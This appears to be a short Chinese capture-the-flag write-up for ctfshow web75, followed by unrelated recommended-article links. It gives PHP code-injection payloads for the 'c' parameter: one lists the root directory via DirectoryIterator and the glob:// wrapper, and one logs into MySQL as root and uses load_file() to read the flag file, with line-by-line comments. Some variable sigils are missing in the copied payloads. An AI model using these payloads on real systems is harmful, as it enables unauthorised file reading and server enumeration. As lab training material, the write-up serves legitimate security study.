ctfshow web75

开启环境:

先直接用伪协议获取 flag 位置

c=?><?php a=new DirectoryIterator("glob:///\*"); foreach(a as f) {echo(f->__toString().' ');} exit(0); ?>

c=try {dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach(dbh->query('select load_file("/flag36.txt")') as row){echo(row[0])."|"; }dbh = null;}catch (PDOException e) {echo $e->getMessage();exit(0);}exit(0);

try {

创建 PDO 实例, 连接 MySQL 数据库

$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');

在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。

foreach(dbh-\>query('select load_file("/flag36.txt")') as row) {

echo($row[0])."|";

}

$dbh = null;

}

catch (PDOException $e) {

echo $e->getMessage();exit(0);

}

exit(0);

相关推荐
恋猫de小郭1 小时前
Android 17 新适配要求,各大权限进一步收紧,适配难度提升
android·前端·flutter
流星白龙1 小时前
【MySQL】9.MySQL内置函数
android·数据库·mysql
进击的cc1 小时前
Android Kotlin:扩展函数如何优雅封装Android API
android·kotlin
进击的cc1 小时前
Android Kotlin:空安全机制在Android中的实战应用
android·kotlin
没有了遇见3 小时前
Android 实现天猫/京东/抖音/咸鱼/拼多多等商品详情页面智能跳转APP
android
毕设源码-郭学长4 小时前
【开题答辩全过程】以 剧本杀交流平台为例,包含答辩的问题和答案
php
乾坤一气杀4 小时前
Kotlin 协程线程切换原理 —— 以 Dispatchers.IO 为例
android
小书房4 小时前
Android各版本主要新特性
android
浮尘笔记4 小时前
PHP中常规通用接口验签加密规则设计
开发语言·后端·网络安全·php